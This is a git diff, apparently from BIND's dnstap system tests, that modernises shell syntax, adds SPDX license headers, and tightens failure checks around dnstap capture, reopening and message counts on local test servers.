+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+$FEATURETEST --enable-dnstap || {
+	echo_i "This test requires dnstap support." >&2
+	exit 255
+}
+exit 0
diff --git a/bin/tests/system/dnstap/setup.sh b/bin/tests/system/dnstap/setup.sh
index 2590a5f75d..90a257e391 100644
--- a/bin/tests/system/dnstap/setup.sh
+++ b/bin/tests/system/dnstap/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dnstap/tests.sh b/bin/tests/system/dnstap/tests.sh
index ceaf30df5f..c5d4f0aa55 100644
--- a/bin/tests/system/dnstap/tests.sh
+++ b/bin/tests/system/dnstap/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+short -p ${PORT}"
@@ -27,7 +31,7 @@ dnstap_data_ready() {
 	min_size_expected=$3
 
 	kill -HUP $fstrm_capture_pid
-	file_size=`wc -c < "$capture_file" | tr -d ' '`
+	file_size=$(wc -c < "$capture_file" | tr -d ' ')
 	if [ $file_size -lt $min_size_expected ]; then
 		return 1
 	fi
@@ -38,18 +42,18 @@ for bad in bad-*.conf
 do
 	ret=0
 	echo_i "checking that named-checkconf detects error in $bad"
-	$CHECKCONF $bad > /dev/null 2>&1
-	if [ $? != 1 ]; then echo_i "failed"; ret=1; fi
-	status=`expr $status + $ret`
+	{ $CHECKCONF $bad > /dev/null 2>&1; rc=$?; } || true
+	if [ $rc != 1 ]; then echo_i "failed"; ret=1; fi
+	status=$((status + ret))
 done
 
 for good in good-*.conf
 do
 	ret=0
 	echo_i "checking that named-checkconf detects no error in $good"
-	$CHECKCONF $good > /dev/null 2>&1
-	if [ $? != 0 ]; then echo_i "failed"; ret=1; fi
-	status=`expr $status + $ret`
+	{ $CHECKCONF $good > /dev/null 2>&1; rc=$?; } || true
+	if [ $rc != 0 ]; then echo_i "failed"; ret=1; fi
+	status=$((status + ret))
 done
 
 echo_i "wait for servers to finish loading"
@@ -59,14 +63,18 @@ wait_for_log 20 "all zones loaded" ns2/named.run || ret=1
 wait_for_log 20 "all zones loaded" ns3/named.run || ret=1
 wait_for_log 20 "all zones loaded" ns4/named.run || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # both the 'a.example/A' lookup and the './NS' lookup to ns1
 # need to complete before reopening/rolling for the counts to
 # be correct.
 
-$DIG $DIGOPTS @10.53.0.3 a.example > dig.out
+echo_i "prime cache"
+ret=0
+$DIG $DIGOPTS @10.53.0.3 a.example > dig.out || true
 wait_for_log 20 "(.): reset client" ns1/named.run || true
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 # check three different dnstap reopen/roll methods:
 # ns1: dnstap-reopen; ns2: dnstap -reopen; ns3: dnstap -roll
@@ -74,17 +82,26 @@ mv ns1/dnstap.out ns1/dnstap.out.save
 mv ns2/dnstap.out ns2/dnstap.out.save
 
 if [ -n "$FSTRM_CAPTURE" ] ; then
+	ret=0
+	echo_i "starting fstrm_capture"
 	$FSTRM_CAPTURE -t protobuf:dnstap.Dnstap -u ns4/dnstap.out \
-		-w dnstap.out > fstrm_capture.out 2>&1 &
+		-w dnstap.out > fstrm_capture.out.1 2>&1 &
 	fstrm_capture_pid=$!
+	wait_for_log 10 "socket path ns4/dnstap.out" fstrm_capture.out.1 || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
 fi
 
+echo_i "reopen/roll capture streams"
+ret=0
 $RNDCCMD -s 10.53.0.1 dnstap-reopen | sed 's/^/ns1 /' | cat_i
 $RNDCCMD -s 10.53.0.2 dnstap -reopen | sed 's/^/ns2 /' | cat_i
 $RNDCCMD -s 10.53.0.3 dnstap -roll | sed 's/^/ns3 /' | cat_i
 $RNDCCMD -s 10.53.0.4 dnstap -reopen | sed 's/^/ns4 /' | cat_i
 
-$DIG $DIGOPTS @10.53.0.3 a.example > dig.out
+echo_i "send test traffic"
+ret=0
+$DIG $DIGOPTS @10.53.0.3 a.example > dig.out || ret=1
 
 # send an UPDATE to ns2
 $NSUPDATE <<- EOF
@@ -107,39 +124,39 @@ sleep 1
 
 echo_i "checking initial message counts"
 
-udp1=`$DNSTAPREAD ns1/dnstap.out.save | grep "UDP " | wc -l`
-tcp1=`$DNSTAPREAD ns1/dnstap.out.save | grep "TCP " | wc -l`
-aq1=`$DNSTAPREAD ns1/dnstap.out.save | grep "AQ " | wc -l`
-ar1=`$DNSTAPREAD ns1/dnstap.out.save | grep "AR " | wc -l`
-cq1=`$DNSTAPREAD ns1/dnstap.out.save | grep "CQ " | wc -l`
-cr1=`$DNSTAPREAD ns1/dnstap.out.save | grep "CR " | wc -l`
-rq1=`$DNSTAPREAD ns1/dnstap.out.save | grep "RQ " | wc -l`
-rr1=`$DNSTAPREAD ns1/dnstap.out.save | grep "RR " | wc -l`
-uq1=`$DNSTAPREAD ns1/dnstap.out.save | grep "UQ " | wc -l`
-ur1=`$DNSTAPREAD ns1/dnstap.out.save | grep "UR " | wc -l`
-
-udp2=`$DNSTAPREAD ns2/dnstap.out.save | grep "UDP " | wc -l`
-tcp2=`$DNSTAPREAD ns2/dnstap.out.save | grep "TCP " | wc -l`
-aq2=`$DNSTAPREAD ns2/dnstap.out.save | grep "AQ " | wc -l`
-ar2=`$DNSTAPREAD ns2/dnstap.out.save | grep "AR " | wc -l`
-cq2=`$DNSTAPREAD ns2/dnstap.out.save | grep "CQ " | wc -l`
-cr2=`$DNSTAPREAD ns2/dnstap.out.save | grep "CR " | wc -l`
-rq2=`$DNSTAPREAD ns2/dnstap.out.save | grep "RQ " | wc -l`
-rr2=`$DNSTAPREAD ns2/dnstap.out.save | grep "RR " | wc -l`
-uq2=`$DNSTAPREAD ns2/dnstap.out.save | grep "UQ " | wc -l`
-ur2=`$DNSTAPREAD ns2/dnstap.out.save | grep "UR " | wc -l`
+udp1=$($DNSTAPREAD ns1/dnstap.out.save | grep "UDP " | wc -l)
+tcp1=$($DNSTAPREAD ns1/dnstap.out.save | grep "TCP " | wc -l)
+aq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "AQ " | wc -l)
+ar1=$($DNSTAPREAD ns1/dnstap.out.save | grep "AR " | wc -l)
+cq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "CQ " | wc -l)
+cr1=$($DNSTAPREAD ns1/dnstap.out.save | grep "CR " | wc -l)
+rq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "RQ " | wc -l)
+rr1=$($DNSTAPREAD ns1/dnstap.out.save | grep "RR " | wc -l)
+uq1=$($DNSTAPREAD ns1/dnstap.out.save | grep "UQ " | wc -l)
+ur1=$($DNSTAPREAD ns1/dnstap.out.save | grep "UR " | wc -l)
+
+udp2=$($DNSTAPREAD ns2/dnstap.out.save | grep "UDP " | wc -l)
+tcp2=$($DNSTAPREAD ns2/dnstap.out.save | grep "TCP " | wc -l)
+aq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "AQ " | wc -l)
+ar2=$($DNSTAPREAD ns2/dnstap.out.save | grep "AR " | wc -l)
+cq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "CQ " | wc -l)
+cr2=$($DNSTAPREAD ns2/dnstap.out.save | grep "CR " | wc -l)
+rq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "RQ " | wc -l)
+rr2=$($DNSTAPREAD ns2/dnstap.out.save | grep "RR " | wc -l)
+uq2=$($DNSTAPREAD ns2/dnstap.out.save | grep "UQ " | wc -l)
+ur2=$($DNSTAPREAD ns2/dnstap.out.save | grep "UR " | wc -l)
 
 mv ns3/dnstap.out.0 ns3/dnstap.out.save
-udp3=`$DNSTAPREAD ns3/dnstap.out.save | grep "UDP " | wc -l`
-tcp3=`$DNSTAPREAD ns3/dnstap.out.save | grep "TCP " | wc -l`
-aq3=`$DNSTAPREAD ns3/dnstap.out.save | grep "AQ " | wc -l`
-ar3=`$DNSTAPREAD ns3/dnstap.out.save | grep "AR " | wc -l`
-cq3=`$DNSTAPREAD ns3/dnstap.out.save | grep "CQ " | wc -l`
-cr3=`$DNSTAPREAD ns3/dnstap.out.save | grep "CR " | wc -l`
-rq3=`$DNSTAPREAD ns3/dnstap.out.save | grep "RQ " | wc -l`
-rr3=`$DNSTAPREAD ns3/dnstap.out.save | grep "RR " | wc -l`
-uq3=`$DNSTAPREAD ns3/dnstap.out.save | grep "UQ " | wc -l`
-ur3=`$DNSTAPREAD ns3/dnstap.out.save | grep "UR " | wc -l`
+udp3=$($DNSTAPREAD ns3/dnstap.out.save | grep "UDP " | wc -l)
+tcp3=$($DNSTAPREAD ns3/dnstap.out.save | grep "TCP " | wc -l)
+aq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "AQ " | wc -l)
+ar3=$($DNSTAPREAD ns3/dnstap.out.save | grep "AR " | wc -l)
+cq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "CQ " | wc -l)
+cr3=$($DNSTAPREAD ns3/dnstap.out.save | grep "CR " | wc -l)
+rq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "RQ " | wc -l)
+rr3=$($DNSTAPREAD ns3/dnstap.out.save | grep "RR " | wc -l)
+uq3=$($DNSTAPREAD ns3/dnstap.out.save | grep "UQ " | wc -l)
+ur3=$($DNSTAPREAD ns3/dnstap.out.save | grep "UR " | wc -l)
 
 echo_i "checking UDP message counts"
 ret=0
@@ -156,7 +173,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TCP message counts"
 ret=0
@@ -173,7 +190,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AUTH_QUERY message counts"
 ret=0
@@ -190,7 +207,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AUTH_RESPONSE message counts"
 ret=0
@@ -207,7 +224,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking CLIENT_QUERY message counts"
 ret=0
@@ -224,7 +241,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking CLIENT_RESPONSE message counts"
 ret=0
@@ -241,7 +258,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RESOLVER_QUERY message counts"
 ret=0
@@ -258,7 +275,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RESOLVER_RESPONSE message counts"
 ret=0
@@ -275,7 +292,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking UPDATE_QUERY message counts"
 ret=0
@@ -292,7 +309,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking UPDATE_RESPONSE message counts"
 ret=0
@@ -309,42 +326,42 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking reopened message counts"
 
-udp1=`$DNSTAPREAD ns1/dnstap.out | grep "UDP " | wc -l`
-tcp1=`$DNSTAPREAD ns1/dnstap.out | grep "TCP " | wc -l`
-aq1=`$DNSTAPREAD ns1/dnstap.out | grep "AQ " | wc -l`
-ar1=`$DNSTAPREAD ns1/dnstap.out | grep "AR " | wc -l`
-cq1=`$DNSTAPREAD ns1/dnstap.out | grep "CQ " | wc -l`
-cr1=`$DNSTAPREAD ns1/dnstap.out | grep "CR " | wc -l`
-rq1=`$DNSTAPREAD ns1/dnstap.out | grep "RQ " | wc -l`
-rr1=`$DNSTAPREAD ns1/dnstap.out | grep "RR " | wc -l`
-uq1=`$DNSTAPREAD ns1/dnstap.out | grep "UQ " | wc -l`
-ur1=`$DNSTAPREAD ns1/dnstap.out | grep "UR " | wc -l`
-
-udp2=`$DNSTAPREAD ns2/dnstap.out | grep "UDP " | wc -l`
-tcp2=`$DNSTAPREAD ns2/dnstap.out | grep "TCP " | wc -l`
-aq2=`$DNSTAPREAD ns2/dnstap.out | grep "AQ " | wc -l`
-ar2=`$DNSTAPREAD ns2/dnstap.out | grep "AR " | wc -l`
-cq2=`$DNSTAPREAD ns2/dnstap.out | grep "CQ " | wc -l`
-cr2=`$DNSTAPREAD ns2/dnstap.out | grep "CR " | wc -l`
-rq2=`$DNSTAPREAD ns2/dnstap.out | grep "RQ " | wc -l`
-rr2=`$DNSTAPREAD ns2/dnstap.out | grep "RR " | wc -l`
-uq2=`$DNSTAPREAD ns2/dnstap.out | grep "UQ " | wc -l`
-ur2=`$DNSTAPREAD ns2/dnstap.out | grep "UR " | wc -l`
-
-udp3=`$DNSTAPREAD ns3/dnstap.out | grep "UDP " | wc -l`
-tcp3=`$DNSTAPREAD ns3/dnstap.out | grep "TCP " | wc -l`
-aq3=`$DNSTAPREAD ns3/dnstap.out | grep "AQ " | wc -l`
-ar3=`$DNSTAPREAD ns3/dnstap.out | grep "AR " | wc -l`
-cq3=`$DNSTAPREAD ns3/dnstap.out | grep "CQ " | wc -l`
-cr3=`$DNSTAPREAD ns3/dnstap.out | grep "CR " | wc -l`
-rq3=`$DNSTAPREAD ns3/dnstap.out | grep "RQ " | wc -l`
-rr3=`$DNSTAPREAD ns3/dnstap.out | grep "RR " | wc -l`
-uq3=`$DNSTAPREAD ns3/dnstap.out | grep "UQ " | wc -l`
-ur3=`$DNSTAPREAD ns3/dnstap.out | grep "UR " | wc -l`
+udp1=$($DNSTAPREAD ns1/dnstap.out | grep "UDP " | wc -l)
+tcp1=$($DNSTAPREAD ns1/dnstap.out | grep "TCP " | wc -l)
+aq1=$($DNSTAPREAD ns1/dnstap.out | grep "AQ " | wc -l)
+ar1=$($DNSTAPREAD ns1/dnstap.out | grep "AR " | wc -l)
+cq1=$($DNSTAPREAD ns1/dnstap.out | grep "CQ " | wc -l)
+cr1=$($DNSTAPREAD ns1/dnstap.out | grep "CR " | wc -l)
+rq1=$($DNSTAPREAD ns1/dnstap.out | grep "RQ " | wc -l)
+rr1=$($DNSTAPREAD ns1/dnstap.out | grep "RR " | wc -l)
+uq1=$($DNSTAPREAD ns1/dnstap.out | grep "UQ " | wc -l)
+ur1=$($DNSTAPREAD ns1/dnstap.out | grep "UR " | wc -l)
+
+udp2=$($DNSTAPREAD ns2/dnstap.out | grep "UDP " | wc -l)
+tcp2=$($DNSTAPREAD ns2/dnstap.out | grep "TCP " | wc -l)
+aq2=$($DNSTAPREAD ns2/dnstap.out | grep "AQ " | wc -l)
+ar2=$($DNSTAPREAD ns2/dnstap.out | grep "AR " | wc -l)
+cq2=$($DNSTAPREAD ns2/dnstap.out | grep "CQ " | wc -l)
+cr2=$($DNSTAPREAD ns2/dnstap.out | grep "CR " | wc -l)
+rq2=$($DNSTAPREAD ns2/dnstap.out | grep "RQ " | wc -l)
+rr2=$($DNSTAPREAD ns2/dnstap.out | grep "RR " | wc -l)
+uq2=$($DNSTAPREAD ns2/dnstap.out | grep "UQ " | wc -l)
+ur2=$($DNSTAPREAD ns2/dnstap.out | grep "UR " | wc -l)
+
+udp3=$($DNSTAPREAD ns3/dnstap.out | grep "UDP " | wc -l)
+tcp3=$($DNSTAPREAD ns3/dnstap.out | grep "TCP " | wc -l)
+aq3=$($DNSTAPREAD ns3/dnstap.out | grep "AQ " | wc -l)
+ar3=$($DNSTAPREAD ns3/dnstap.out | grep "AR " | wc -l)
+cq3=$($DNSTAPREAD ns3/dnstap.out | grep "CQ " | wc -l)
+cr3=$($DNSTAPREAD ns3/dnstap.out | grep "CR " | wc -l)
+rq3=$($DNSTAPREAD ns3/dnstap.out | grep "RQ " | wc -l)
+rr3=$($DNSTAPREAD ns3/dnstap.out | grep "RR " | wc -l)
+uq3=$($DNSTAPREAD ns3/dnstap.out | grep "UQ " | wc -l)
+ur3=$($DNSTAPREAD ns3/dnstap.out | grep "UR " | wc -l)
 
 echo_i "checking UDP message counts"
 ret=0
@@ -361,7 +378,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TCP message counts"
 ret=0
@@ -378,7 +395,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AUTH_QUERY message counts"
 ret=0
@@ -395,7 +412,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AUTH_RESPONSE message counts"
 ret=0
@@ -412,7 +429,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking CLIENT_QUERY message counts"
 ret=0
@@ -429,7 +446,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking CLIENT_RESPONSE message counts"
 ret=0
@@ -446,7 +463,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RESOLVER_QUERY message counts"
 ret=0
@@ -463,7 +480,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking RESOLVER_RESPONSE message counts"
 ret=0
@@ -480,7 +497,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking UPDATE_QUERY message counts"
 ret=0
@@ -497,7 +514,7 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking UPDATE_RESPONSE message counts"
 ret=0
@@ -514,7 +531,13 @@ ret=0
 	ret=1
 }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+echo_i "checking whether destination UDP port is logged for client queries"
+ret=0
+$DNSTAPREAD ns3/dnstap.out.save | grep -Eq "CQ [0-9:.]+ -> 10.53.0.3:${PORT} UDP" || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 HAS_PYYAML=0
 if [ -x "$PYTHON" ] ; then
@@ -528,23 +551,23 @@ if [ $HAS_PYYAML -ne 0 ] ; then
 	  $PYTHON ydump.py "$DNSTAPREAD" "ns3/dnstap.out.save" > ydump.out || ret=1
         } | cat_i
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 fi
 
 echo_i "checking dnstap-read hex output"
 ret=0
-hex=`$DNSTAPREAD -x ns3/dnstap.out | tail -1`
+hex=$($DNSTAPREAD -x ns3/dnstap.out | tail -1)
 echo $hex | $WIRETEST > dnstap.hex
 grep 'status: NOERROR' dnstap.hex > /dev/null 2>&1 || ret=1
 grep 'ANSWER: 3, AUTHORITY: 1' dnstap.hex > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if [ -n "$FSTRM_CAPTURE" ] ; then
 	$DIG $DIGOPTS @10.53.0.4 a.example > dig.out
 
 	# send an UPDATE to ns4
-	$NSUPDATE <<- EOF > nsupdate.out 2>&1
+	$NSUPDATE <<- EOF > nsupdate.out 2>&1 && ret=1
 	server 10.53.0.4 ${PORT}
 	zone example
 	update add b.example 3600 in a 10.10.10.10
@@ -554,19 +577,24 @@ EOF
 
 	echo_i "checking unix socket message counts"
 	sleep 2
-	retry_quiet 5 dnstap_data_ready $fstrm_capture_pid dnstap.out 470
+	retry_quiet 5 dnstap_data_ready $fstrm_capture_pid dnstap.out 450 || {
+		echo_i "dnstap output file smaller than expected"
+		ret=1
+	}
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
 	kill $fstrm_capture_pid
 	wait
-	udp4=`$DNSTAPREAD dnstap.out | grep "UDP " | wc -l`
-	tcp4=`$DNSTAPREAD dnstap.out | grep "TCP " | wc -l`
-	aq4=`$DNSTAPREAD dnstap.out | grep "AQ " | wc -l`
-	ar4=`$DNSTAPREAD dnstap.out | grep "AR " | wc -l`
-	cq4=`$DNSTAPREAD dnstap.out | grep "CQ " | wc -l`
-	cr4=`$DNSTAPREAD dnstap.out | grep "CR " | wc -l`
-	rq4=`$DNSTAPREAD dnstap.out | grep "RQ " | wc -l`
-	rr4=`$DNSTAPREAD dnstap.out | grep "RR " | wc -l`
-	uq4=`$DNSTAPREAD dnstap.out | grep "UQ " | wc -l`
-	ur4=`$DNSTAPREAD dnstap.out | grep "UR " | wc -l`
+	udp4=$($DNSTAPREAD dnstap.out | grep "UDP " | wc -l)
+	tcp4=$($DNSTAPREAD dnstap.out | grep "TCP " | wc -l)
+	aq4=$($DNSTAPREAD dnstap.out | grep "AQ " | wc -l)
+	ar4=$($DNSTAPREAD dnstap.out | grep "AR " | wc -l)
+	cq4=$($DNSTAPREAD dnstap.out | grep "CQ " | wc -l)
+	cr4=$($DNSTAPREAD dnstap.out | grep "CR " | wc -l)
+	rq4=$($DNSTAPREAD dnstap.out | grep "RQ " | wc -l)
+	rr4=$($DNSTAPREAD dnstap.out | grep "RR " | wc -l)
+	uq4=$($DNSTAPREAD dnstap.out | grep "UQ " | wc -l)
+	ur4=$($DNSTAPREAD dnstap.out | grep "UR " | wc -l)
 
 	echo_i "checking UDP message counts"
 	ret=0
@@ -575,7 +603,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking TCP message counts"
 	ret=0
@@ -584,7 +612,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking AUTH_QUERY message counts"
 	ret=0
@@ -593,7 +621,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking AUTH_RESPONSE message counts"
 	ret=0
@@ -602,7 +630,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking CLIENT_QUERY message counts"
 	ret=0
@@ -611,7 +639,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking CLIENT_RESPONSE message counts"
 	ret=0
@@ -620,7 +648,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking RESOLVER_QUERY message counts"
 	ret=0
@@ -629,7 +657,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking RESOLVER_RESPONSE message counts"
 	ret=0
@@ -645,7 +673,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking UPDATE_RESPONSE message counts"
 	ret=0
@@ -654,31 +682,41 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	mv dnstap.out dnstap.out.save
 
+	echo_i "restarting fstrm_capture"
 	$FSTRM_CAPTURE -t protobuf:dnstap.Dnstap -u ns4/dnstap.out \
-		-w dnstap.out > fstrm_capture.out 2>&1 &
+		-w dnstap.out > fstrm_capture.out.2 2>&1 &
 	fstrm_capture_pid=$!
+	wait_for_log 10 "socket path ns4/dnstap.out" fstrm_capture.out.2 || {
+		echo_i "failed"
+		ret=1
+	}
 	$RNDCCMD -s 10.53.0.4 dnstap -reopen | sed 's/^/ns4 /' | cat_i
 	$DIG $DIGOPTS @10.53.0.4 a.example > dig.out
 
 	echo_i "checking reopened unix socket message counts"
 	sleep 2
-	retry_quiet 5 dnstap_data_ready $fstrm_capture_pid dnstap.out 270
+	retry_quiet 5 dnstap_data_ready $fstrm_capture_pid dnstap.out 270 || {
+		echo_i "dnstap output file smaller than expected"
+		ret=1
+	}
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
 	kill $fstrm_capture_pid
 	wait
-	udp4=`$DNSTAPREAD dnstap.out | grep "UDP " | wc -l`
-	tcp4=`$DNSTAPREAD dnstap.out | grep "TCP " | wc -l`
-	aq4=`$DNSTAPREAD dnstap.out | grep "AQ " | wc -l`
-	ar4=`$DNSTAPREAD dnstap.out | grep "AR " | wc -l`
-	cq4=`$DNSTAPREAD dnstap.out | grep "CQ " | wc -l`
-	cr4=`$DNSTAPREAD dnstap.out | grep "CR " | wc -l`
-	rq4=`$DNSTAPREAD dnstap.out | grep "RQ " | wc -l`
-	rr4=`$DNSTAPREAD dnstap.out | grep "RR " | wc -l`
-	uq4=`$DNSTAPREAD dnstap.out | grep "UQ " | wc -l`
-	ur4=`$DNSTAPREAD dnstap.out | grep "UR " | wc -l`
+	udp4=$($DNSTAPREAD dnstap.out | grep "UDP " | wc -l)
+	tcp4=$($DNSTAPREAD dnstap.out | grep "TCP " | wc -l)
+	aq4=$($DNSTAPREAD dnstap.out | grep "AQ " | wc -l)
+	ar4=$($DNSTAPREAD dnstap.out | grep "AR " | wc -l)
+	cq4=$($DNSTAPREAD dnstap.out | grep "CQ " | wc -l)
+	cr4=$($DNSTAPREAD dnstap.out | grep "CR " | wc -l)
+	rq4=$($DNSTAPREAD dnstap.out | grep "RQ " | wc -l)
+	rr4=$($DNSTAPREAD dnstap.out | grep "RR " | wc -l)
+	uq4=$($DNSTAPREAD dnstap.out | grep "UQ " | wc -l)
+	ur4=$($DNSTAPREAD dnstap.out | grep "UR " | wc -l)
 
 	echo_i "checking UDP message counts"
 	ret=0
@@ -687,7 +725,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking TCP message counts"
 	ret=0
@@ -696,7 +734,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking AUTH_QUERY message counts"
 	ret=0
@@ -705,7 +743,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking AUTH_RESPONSE message counts"
 	ret=0
@@ -714,7 +752,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking CLIENT_QUERY message counts"
 	ret=0
@@ -723,7 +761,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking CLIENT_RESPONSE message counts"
 	ret=0
@@ -732,7 +770,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking RESOLVER_QUERY message counts"
 	ret=0
@@ -741,7 +779,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
 	echo_i "checking RESOLVER_RESPONSE message counts"
 	ret=0
@@ -757,7 +795,7 @@ EOF
 		ret=1
 	}
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 
